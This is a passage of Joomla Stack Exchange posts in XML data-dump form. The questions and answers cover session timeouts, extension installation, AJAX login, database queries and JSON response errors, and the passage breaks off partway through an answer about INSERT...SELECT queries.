  <row Id="22927" PostTypeId="1" CreationDate="2018-06-04T11:26:54.983" Score="1" ViewCount="701" Body="&lt;p&gt;Due to audit of our client website the testing team told us that after login to admin pannel of website, if any user is idle for more than 5 min then it should redirect to login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I set the Session Lifetime to 5min in backend.&#xA;But problem is this that its logout only when page refresh.&#xA;Its should logout directly.&#xA;I am tired too many thing but nothing work..&#xA;Please help.&#xA;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="12592" LastActivityDate="2024-03-23T20:03:45.527" Title="automatic redirect to login page after session timeOut in joomla 1.5.26" Tags="|joomla-1.5|jsession|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22929" PostTypeId="1" CreationDate="2018-06-04T13:11:14.133" Score="1" ViewCount="288" Body="&lt;p&gt;I'm looking for an extension to serve my Joomla 1.5 websites contents as REST, after some search I've found &lt;a href=&quot;https://extensions.joomla.org/extension/rest-api/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/rest-api/&lt;/a&gt; component,  but there is no specification which version is for  my joomla 1.5,  when I clicked on Get REST API v1.6.2 redirect me to another page which there are several version of com_api, I downloaded and tested com_api_v1.5.1.zip, com_api_v1.6.2.zip , com_api_v2.2.zip, and try to install them via admin extension manager on &lt;code&gt;administrator/index.php?option=com_installer&lt;/code&gt; but there weren't any success to install and faced with &lt;strong&gt;Error! Could not find a Joomla! XML setup file in the package.&lt;/strong&gt; , my question is which version is compatible with joomla 1.5 and why I faced with this error while I try to install rest api ?&lt;/p&gt;&#xA;" OwnerUserId="12594" LastActivityDate="2018-06-05T11:55:49.133" Title="Error! Could not find a Joomla! XML setup file in the package" Tags="|component|joomla-api|joomla-1.5|restful-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22932" PostTypeId="2" ParentId="21838" CreationDate="2018-06-04T23:18:30.990" Score="0" Body="&lt;p&gt;I think you're after the same thing than this question - check my answer &lt;a href=&quot;https://joomla.stackexchange.com/questions/21780/how-to-select-predifined-options-in-an-custom-form-list-field/21786?noredirect=1#comment26570_21786&quot;&gt;here&lt;/a&gt;. I needed the same thing and after many hours come up with that solution&lt;/p&gt;&#xA;" OwnerUserId="9575" LastActivityDate="2018-06-04T23:18:30.990" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22935" PostTypeId="2" ParentId="17799" CreationDate="2018-06-04T23:43:20.670" Score="0" Body="&lt;p&gt;Add &lt;/p&gt;&#xA;&#xA;&lt;p&gt;!important &lt;/p&gt;&#xA;&#xA;&lt;p&gt;after the color value and it shall take precedence over other value that is stopping it.&lt;/p&gt;&#xA;" OwnerUserId="6916" LastEditorUserId="115" LastEditDate="2018-06-05T00:07:39.467" LastActivityDate="2018-06-05T00:07:39.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22936" PostTypeId="2" ParentId="22927" CreationDate="2018-06-04T23:55:00.807" Score="0" Body="&lt;p&gt;Add the following before the closing head tag inside index.Php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;script type=text/javascript&amp;gt;&#xA;setTimeout(' document.location=document.location' ,10000);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6916" LastEditorUserId="115" LastEditDate="2018-06-05T00:06:35.833" LastActivityDate="2018-06-05T00:06:35.833" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22937" PostTypeId="2" ParentId="22925" CreationDate="2018-06-05T06:27:33.250" Score="0" Body="&lt;p&gt;You need to build router for your component read moere about here:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7844" LastActivityDate="2018-06-05T06:27:33.250" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22939" PostTypeId="2" ParentId="22929" CreationDate="2018-06-05T11:55:49.133" Score="1" Body="&lt;p&gt;Expanding each zip install file and examining the .xml file will tell you the minimum version of Joomla the install file is designed for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for a line similar to the following example which shows, in this case, that the install file is suitable for Joomla 1.5:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;install version=&quot;1.5&quot; type=&quot;plugin&quot; group=&quot;system&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you probably already know &lt;a href=&quot;https://docs.joomla.org/Joomla!_CMS_versions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 1.5 is end of life since 2012&lt;/a&gt; and migrating to the latest version will probably make your life easier.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-06-05T11:55:49.133" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22940" PostTypeId="2" ParentId="17484" CreationDate="2018-06-05T13:53:18.570" Score="0" Body="&lt;p&gt;The warning message you get indicates that all the installer plugins are disabled in the Plugin manager. I've seen this happen a few times after upgrades, without any apparent reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to go to your plugin manager (&lt;kbd&gt;Extensions&lt;/kbd&gt; -&gt; &lt;kbd&gt;Plugins&lt;/kbd&gt;) and enter &quot;install&quot; in the search box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure at least one of the &lt;strong&gt;&lt;em&gt;Installer - ...&lt;/em&gt;&lt;/strong&gt; plugins are enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G9utD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G9utD.png&quot; alt=&quot;Installer plugins&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any/all of the plugins have a red X under status, just click the button to enable the plugin.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2018-06-05T13:53:18.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22941" PostTypeId="2" ParentId="5675" CreationDate="2018-06-05T15:15:46.350" Score="0" Body="&lt;p&gt;add&#xA;JHtml::_('behavior.tabstate');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.web357.eu/blog/news/how-to-remember-tab-with-a-session-at-joomla-backend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.web357.eu/blog/news/how-to-remember-tab-with-a-session-at-joomla-backend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12597" LastActivityDate="2018-06-05T15:15:46.350" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22942" PostTypeId="2" ParentId="22248" CreationDate="2018-06-05T17:10:26.920" Score="1" Body="&lt;p&gt;Direct request into plugin method using &lt;code&gt;com_ajax&lt;/code&gt; (&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;), that keeps your flow inside framework as well gives you a bit more security.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2018-06-05T17:10:26.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22943" PostTypeId="2" ParentId="22263" CreationDate="2018-06-05T17:16:29.193" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Bind into &lt;code&gt;onChange&lt;/code&gt; event on your select. In that event create &lt;a href=&quot;http://api.jquery.com/jquery.get/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ajax request&lt;/a&gt; using &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;com_ajax&lt;/a&gt;. &lt;/li&gt;&#xA;&lt;li&gt;In your module helper create a method that will handle the request and return output to &lt;code&gt;com_ajax&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The whole process of processing requests to modules and plugins you have described in &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2018-06-05T17:16:29.193" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22945" PostTypeId="1" AcceptedAnswerId="22951" CreationDate="2018-06-05T18:10:38.733" Score="1" ViewCount="791" Body="&lt;p&gt;I have a custom page that checks if cUser-&gt;id is zero and, if it is, I pop up a login form. Now I can't seem to find any documentation on how to remotely log in to Joomla. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2018-06-06T14:37:37.097" Title="How can I use a username and password to login with PHP?" Tags="|joomla-3.x|php|jomsocial|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22946" PostTypeId="2" ParentId="22691" CreationDate="2018-06-05T18:56:47.493" Score="1" Body="&lt;p&gt;The problem was solved by adding a property &lt;code&gt;addfieldpath&lt;/code&gt; to the &lt;code&gt;&amp;lt;config&amp;gt;&lt;/code&gt; tag of the xml manifest:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;config addfieldpath=&quot;/plugins/content/zotbib/fields&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without this, the custom fields in the backend were only displayed when the plugin was published. When unpublished the corresponding code was not actually run. With this property set the code of the custom fields is always run and they are displayed correctly even if the plugin is unpublished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code of my plugin can be seen here: &lt;a href=&quot;https://framagit.org/svictor/j3-zotbib&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://framagit.org/svictor/j3-zotbib&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="3412" LastEditorUserId="3412" LastEditDate="2018-06-18T07:40:35.657" LastActivityDate="2018-06-18T07:40:35.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22947" PostTypeId="1" CreationDate="2018-06-05T20:28:23.317" Score="0" ViewCount="128" Body="&lt;p&gt;I am using the latest version of Community Builder in Joomla 3.8. I can not update an existing profile because it tells me the email address is already in use when I click on save. Can't clear the email field either because I get an invalid email address. I'm using the &quot;edit profile&quot; type in a menu and the same is true if I try as an administrator un CB's User Management&lt;/p&gt;&#xA;" OwnerUserId="12599" LastActivityDate="2023-12-12T09:05:10.607" Title="Community Builder - can't update profile" Tags="|profile|community-builder|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22948" PostTypeId="2" ParentId="22911" CreationDate="2018-06-06T09:36:18.367" Score="0" Body="&lt;p&gt;I resolved this by opening the &lt;code&gt;#__menu&lt;/code&gt; table in phpymyadmin, finding the corresponding menu item and editing the &lt;code&gt;path&lt;/code&gt; column to remove the &lt;code&gt;com-akeeba&lt;/code&gt; portion. &lt;/p&gt;&#xA;" OwnerUserId="9001" LastActivityDate="2018-06-06T09:36:18.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22950" PostTypeId="2" ParentId="22782" CreationDate="2018-06-06T12:44:23.293" Score="2" Body="&lt;p&gt;Because &lt;code&gt;mail&lt;/code&gt; is a UNIQUE table key (PRIMARY works the same), you can accomplish your intended logic with just one query. In accordance with best coding practices, you should always perform as few queries as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you will see, there is no reason to call a SELECT query.  If there is no error/exception caught, then your INSERT was successful. If a duplicate email address is submitted, then a very informative exception will be generated.  You only need to listen for the potential error code: &lt;code&gt;1062&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$name = $jinput-&amp;gt;getString('name');&#xA;$mail = $jinput-&amp;gt;getString('mail');&#xA;&#xA;if (!filter_var($mail, FILTER_VALIDATE_EMAIL)) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('Invalid Email. Please Check Email &amp;amp; Try Again.', 'notice');&#xA;} else {&#xA;    $db = JFactory::getDBO();&#xA;    try {&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;                    -&amp;gt;insert($db-&amp;gt;qn('league'))&#xA;                    -&amp;gt;columns($db-&amp;gt;qn(array('name', 'mail')))&#xA;                    -&amp;gt;values($db-&amp;gt;q($name) . ',' . $db-&amp;gt;q($mail));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $db-&amp;gt;execute();&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage('Success!', 'message'); // is only reached if no errors&#xA;    } catch (Exception $e) {&#xA;        if ($e-&amp;gt;getCode() == 1062) {&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage('Duplicate Email. Please Try Another Email.', 'notice');&#xA;        } else {&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage('Syntax Error. Please Contact Developer.', 'error');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some other small notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've baked in a validation step for the &lt;code&gt;mail&lt;/code&gt; input as an auxiliary suggestion.&lt;/li&gt;&#xA;&lt;li&gt;Because your &lt;code&gt;$columns&lt;/code&gt; and &lt;code&gt;$values&lt;/code&gt; array are &quot;single-use&quot;, I've decided against declaring them, and simply added the data directly into the respective query methods.&lt;/li&gt;&#xA;&lt;li&gt;I am using &lt;code&gt;q()&lt;/code&gt; as shorthand for &lt;code&gt;quote()&lt;/code&gt; and &lt;code&gt;qn()&lt;/code&gt; for &lt;code&gt;quoteName()&lt;/code&gt; for brevity.  For the record, your query will be just as safe/successful without any of the &lt;code&gt;qn()&lt;/code&gt; calls because you are using single static words and none are MYSQL RESERVED words.&lt;/li&gt;&#xA;&lt;li&gt;To demonstrate the rule that I am leveraging, see this &lt;a href=&quot;http://sqlfiddle.com/#!9/493f04&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQLFiddle Demo&lt;/a&gt; that tries to INSERT two rows with the same email value.  It doesn't show the error code, just the error message.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-01-22T21:30:36.183" LastActivityDate="2019-01-22T21:30:36.183" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22951" PostTypeId="2" ParentId="22945" CreationDate="2018-06-06T14:37:37.097" Score="3" Body="&lt;p&gt;Found a solution that works for 3.x and up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in PHP file that gets called through $.ajax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('JPATH_BASE', '../../../');&#xA;defined('DS') or define('DS', DIRECTORY_SEPARATOR);&#xA;require_once ( JPATH_BASE . 'includes' . DS . 'defines.php' );&#xA;require_once ( JPATH_BASE . 'includes' . DS . 'framework.php' );&#xA;// connect to Joomla&#xA;$mainframe = &amp;amp; JFactory::getApplication('site');&#xA;jimport('joomla.plugin.helper');&#xA;&#xA;$error = $mainframe-&amp;gt;login([&#xA;    'username' =&amp;gt; $login_username,&#xA;    'password' =&amp;gt; $login_password,&#xA;]);&#xA;$user = JFactory::getUser();&#xA;echo $user-&amp;gt;id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Javascript file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#submit-button&quot;).click(login);&#xA;&#xA;function login(){&#xA;    $.ajax({&#xA;        method: &quot;POST&quot;,&#xA;        url: &quot;/my/path/to/php&quot;,&#xA;        data: {&#xA;            login_username: $(&quot;input[name=login_username]&quot;).val(),&#xA;            login_password: $(&quot;input[name=login_password]&quot;).val()&#xA;        }&#xA;    }).done(function(data){&#xA;        if(data != &quot;0&quot;){&#xA;            // success&#xA;        } else {&#xA;            // failed&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2018-06-06T14:37:37.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22953" PostTypeId="1" CreationDate="2018-06-06T20:25:46.253" Score="0" ViewCount="83" Body="&lt;p&gt;I am looking for some advice on the best way to pull down an xml file off an ftp address and display the content in an article or module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en-gb.wordpress.org/plugins/wp-expert-agent-xml-feed/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en-gb.wordpress.org/plugins/wp-expert-agent-xml-feed/&lt;/a&gt; is exactly what I'm after for Joomla. It is for displaying houses/properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From initial research, I'm not finding anything that does this for Joomla, I would really appreciate some suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="9555" LastActivityDate="2019-01-05T20:27:34.040" Title="Joomla 3 XML Feed Via FTP" Tags="|joomla-3.x|xml|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22954" PostTypeId="2" ParentId="21995" CreationDate="2018-06-06T23:37:18.397" Score="1" Body="&lt;p&gt;I cannot be too specific without knowing the exact database table structure and data, but it seems that your &lt;code&gt;date&lt;/code&gt; values are being stored and processed as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dd&lt;/code&gt; &lt;code&gt;[delimiter]&lt;/code&gt; &lt;code&gt;mm&lt;/code&gt; &lt;code&gt;[delimiter]&lt;/code&gt; &lt;code&gt;yyyy&lt;/code&gt;  (delimiters may logically be &lt;code&gt;/&lt;/code&gt; or &lt;code&gt;-&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if you are storing the date as a &lt;code&gt;VARCHAR&lt;/code&gt; and the string looks like &lt;code&gt;22/08/17&lt;/code&gt;, &lt;code&gt;30/08/17&lt;/code&gt;,&lt;code&gt;23/11/17&lt;/code&gt;,&lt;code&gt;30/11/17&lt;/code&gt; then it is easy to see that mysql is sorting your rows by reading the dates as &quot;strings&quot; (from left to right) versus &quot;dates&quot; (&lt;code&gt;y&lt;/code&gt;, &lt;code&gt;m&lt;/code&gt;, then &lt;code&gt;d&lt;/code&gt; logic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be many ways to solve this issue, but the best advice that I can give is to correct the data storaged (because date values &lt;em&gt;should be&lt;/em&gt; stored as date type) and adjust the codes that access it. This would mean setting the &lt;code&gt;date&lt;/code&gt; column to &lt;code&gt;DATE&lt;/code&gt; type and feeding it values in the format of &lt;code&gt;yyyy-mm-dd&lt;/code&gt;.  Then ordering will be simplified permanently, but you will need to adjust the date values in the &lt;code&gt;SELECT&lt;/code&gt; clause to your desired format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you cannot or do not wish to correct the data storage, you can put a bandage on the problem by modifying all of the queries that need to order by date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your date column is named &lt;code&gt;date&lt;/code&gt; and your values use &lt;code&gt;/&lt;/code&gt; as delimiters, then you can use this &lt;code&gt;ORDER BY&lt;/code&gt; clause to sort by year, then month, then day from newest to oldest:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORDER BY STR_TO_DATE(`date`, '%d/%m/%Y') DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;http://sqlfiddle.com/#!9/5004e1/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;an sqlfiddle to demonstrate what is happening&lt;/a&gt; with the &lt;code&gt;STR_TO_DATE()&lt;/code&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-06T23:37:18.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22955" PostTypeId="2" ParentId="21904" CreationDate="2018-06-07T00:57:27.730" Score="0" Body="&lt;p&gt;First, what is the json parsing error telling you...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;success&amp;quot;:true,&amp;quot;message&amp;quot;:null,&amp;quot;messages&amp;quot;:null,&amp;quot;data&amp;quot;:{&amp;quot;likes&amp;quot;:&amp;quot;6&amp;quot;,&amp;quot;dislikes&amp;quot;:&amp;quot;0&amp;quot;}}{&amp;quot;success&amp;quot;:true,&amp;quot;message&amp;quot;:null,&amp;quot;messages&amp;quot;:null,&amp;quot;data&amp;quot;:[]}&#xA;//                                           this is the expected end of string --^&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What you have are two separate json strings which have been concatenated (with no glue) to form a single string because you have one &lt;code&gt;echo&lt;/code&gt; followed by another &lt;code&gt;echo&lt;/code&gt; -- this will never parse.  Using &lt;code&gt;die()&lt;/code&gt; or &lt;code&gt;exit()&lt;/code&gt; is not a graceful solution for halting an unknown loop (unknown to us because it is not posted in the question).&lt;/p&gt;&#xA;&lt;p&gt;It would be a greater service to you and your future projects to isolate &lt;em&gt;why&lt;/em&gt; your code is performing two iterations of &lt;code&gt;echo new JResponseJson($data);&lt;/code&gt;.  I don't see anything strange about your jquery, so I'll assume the issue is isolated to your function call within your helper class. If you show more, we can help more.&lt;/p&gt;&#xA;&lt;p&gt;You can plainly see that the first pass is receiving the &lt;code&gt;likes&lt;/code&gt; and &lt;code&gt;dislikes&lt;/code&gt; data:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;success&amp;quot;:true,&amp;quot;message&amp;quot;:null,&amp;quot;messages&amp;quot;:null,&amp;quot;data&amp;quot;:{&amp;quot;likes&amp;quot;:&amp;quot;6&amp;quot;,&amp;quot;dislikes&amp;quot;:&amp;quot;0&amp;quot;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the second pass is not:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;success&amp;quot;:true,&amp;quot;message&amp;quot;:null,&amp;quot;messages&amp;quot;:null,&amp;quot;data&amp;quot;:[]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As an aside, I'll mention that you don't need this line of code: &lt;code&gt;$data=array();&lt;/code&gt;.  You are hardcoding the keys so the empty declaration adds no benefit.  What I will say is, it would be wise to add a &lt;code&gt;try{}catch{}&lt;/code&gt; block in case you encounter a syntax or logic failure in your query.&lt;/p&gt;&#xA;&lt;p&gt;To bake together my advice, your code could be written something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;              //-&amp;gt;update()... or insert() or whatever...&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $db-&amp;gt;execute();&#xA;    $data['message'] = !$db-&amp;gt;getAffectedRows()&#xA;        ? &amp;quot;Logic Error - No Affected Rows&amp;quot;&#xA;        : &amp;quot;Query Successful&amp;quot;;&#xA;} catch (Exception $e) {&#xA;    $data['message'] = &amp;quot;Syntax Error - No Affected Rows&amp;quot;; // . $e-&amp;gt;getMessage();&#xA;}&#xA;&#xA;$marks = plgContentLikesHelper::getMarks($articleID);    &#xA;$data['likes'] = $marks-&amp;gt;likes;&#xA;$data['dislikes'] = $marks-&amp;gt;dislikes;&#xA;&#xA;echo new JResponseJson($data);  // this should occur just once and optimally at the end of your function block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As for your core issue, you will either need to find and eliminate the loop in your function or if you actually want to send multiple sets of &lt;code&gt;success&lt;/code&gt;, &lt;code&gt;message&lt;/code&gt;, &lt;code&gt;messages&lt;/code&gt;, and &lt;code&gt;data&lt;/code&gt; as the ajax response, then you will need to merge your arrays before converting to json.&lt;/p&gt;&#xA;&lt;p&gt;My #1 suspicion is that the &lt;code&gt;getMarks()&lt;/code&gt; method contains a line of code which echoes a json string.  If you are unable to remove/comment this line, then you will need to engage &lt;a href=&quot;https://stackoverflow.com/q/486181/2943403&quot;&gt;&amp;quot;output buffer&amp;quot; handling to silence the method&lt;/a&gt; when you call it.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-06-28T01:28:22.440" LastActivityDate="2020-06-28T01:28:22.440" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22956" PostTypeId="2" ParentId="21899" CreationDate="2018-06-07T02:27:02.133" Score="0" Body="&lt;p&gt;You ARE NOT going crazy.  MySQL and Joomla DO allow you to &lt;code&gt;INSERT&lt;/code&gt; rows from a &lt;code&gt;SELECT&lt;/code&gt; query in a single transaction.  I have tested the following to be successful on my localhost, but if you don't believe me, see &lt;a href=&quot;https://joomla.stackexchange.com/a/21790/12352&quot;&gt;what Nagarjun has to say&lt;/a&gt;.  Making two separate database calls to &lt;code&gt;SELECT&lt;/code&gt; then &lt;code&gt;INSERT&lt;/code&gt; is missing out on a beautiful feature of MySQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is your lone syntax hiccup:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$queryInsert-&amp;gt;columns($db-&amp;gt;quoteName(array('link_id, link_name, user_id')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This says you want to push the 3 columns of data into a single, 27-character column called:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;`link_id, link_name, user_id`&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is that?  You merely missed the inner single quotes and produced a 1-element array.  This would have been an easy thing to overlook, since you probably copy-pasted from your &lt;code&gt;SELECT&lt;/code&gt; clause.  It should be written like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$queryInsert-&amp;gt;columns($db-&amp;gt;quoteName(array('link_id', 'link_name', 'user_id')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll suggest some other modifications infused with my personal preferences:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can chain your query methods from the &lt;code&gt;getQuery()&lt;/code&gt; method and spare retyping &lt;code&gt;$queryWord&lt;/code&gt; on each line.&lt;/li&gt;&#xA;&lt;li&gt;Your &lt;code&gt;select()&lt;/code&gt; method doesn't &lt;em&gt;need&lt;/em&gt; to receive an array of columns (of course, it &lt;em&gt;can&lt;/em&gt;).  In your case, a comma separated string containing the three column names is perfectly valid/correct.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;qn()&lt;/code&gt; (&lt;code&gt;quoteName()&lt;/code&gt; as you are using it) is not actually necessary for any of the tables or columns that you have mentioned because they are whole words and not &quot;reserved words&quot;.&lt;/li&gt;&#xA;&lt;li&gt;When you want to secure a dynamic integer value in your query, you can just write &lt;code&gt;(int)&lt;/code&gt; before it to cast it as an integer.  If you are using static/hardcoded numbers, you can write them without quotes.  If you are using static/hardcoded strings, you can manually wrap them in single quotes.&lt;/li&gt;&#xA;&lt;li&gt;In your project, if you are using any user-supplied variables/data as values in your &lt;code&gt;WHERE&lt;/code&gt; clause, then you should call &lt;code&gt;q()&lt;/code&gt; (or &lt;code&gt;quote()&lt;/code&gt;) on your variables for security reasons.&lt;/li&gt;&#xA;&lt;li&gt;When your code is live/public, never display your rendered query string or the exact error message.&lt;/li&gt;&#xA;&lt;li&gt;A &lt;code&gt;try {} catch {}&lt;/code&gt; block is a clean way to handle errors that may occur while querying.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My suggested code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;    try {&#xA;        $querySelect = $db-&amp;gt;getQuery(true)&#xA;                          -&amp;gt;select('link_id, link_name, user_id')&#xA;                          -&amp;gt;from('#__mt_links')&#xA;                          -&amp;gt;where('link_id = 3');&#xA;&#xA;        $queryInsert = $db-&amp;gt;getQuery(true)&#xA;                          -&amp;gt;insert('#__hikers')&#xA;                          -&amp;gt;columns(array('link_id', 'link_name', 'user_id'))&#xA;                          -&amp;gt;values($querySelect);&#xA;&#xA;        echo $queryInsert-&amp;gt;dump();&#xA;        $db-&amp;gt;setQuery($queryInsert);&#xA;        $db-&amp;gt;execute();&#xA;        echo &quot;&amp;lt;div&amp;gt;Affected Rows: {$db-&amp;gt;getAffectedRows()}&amp;lt;/div&amp;gt;&quot;;&#xA;    } catch (Exception $e) {&#xA;        echo &quot;&amp;lt;div&amp;gt;Error: {$e-&amp;gt;getMessage()}&amp;lt;/div&amp;gt;&quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rendered query (from &lt;code&gt;-&amp;gt;dump()&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO 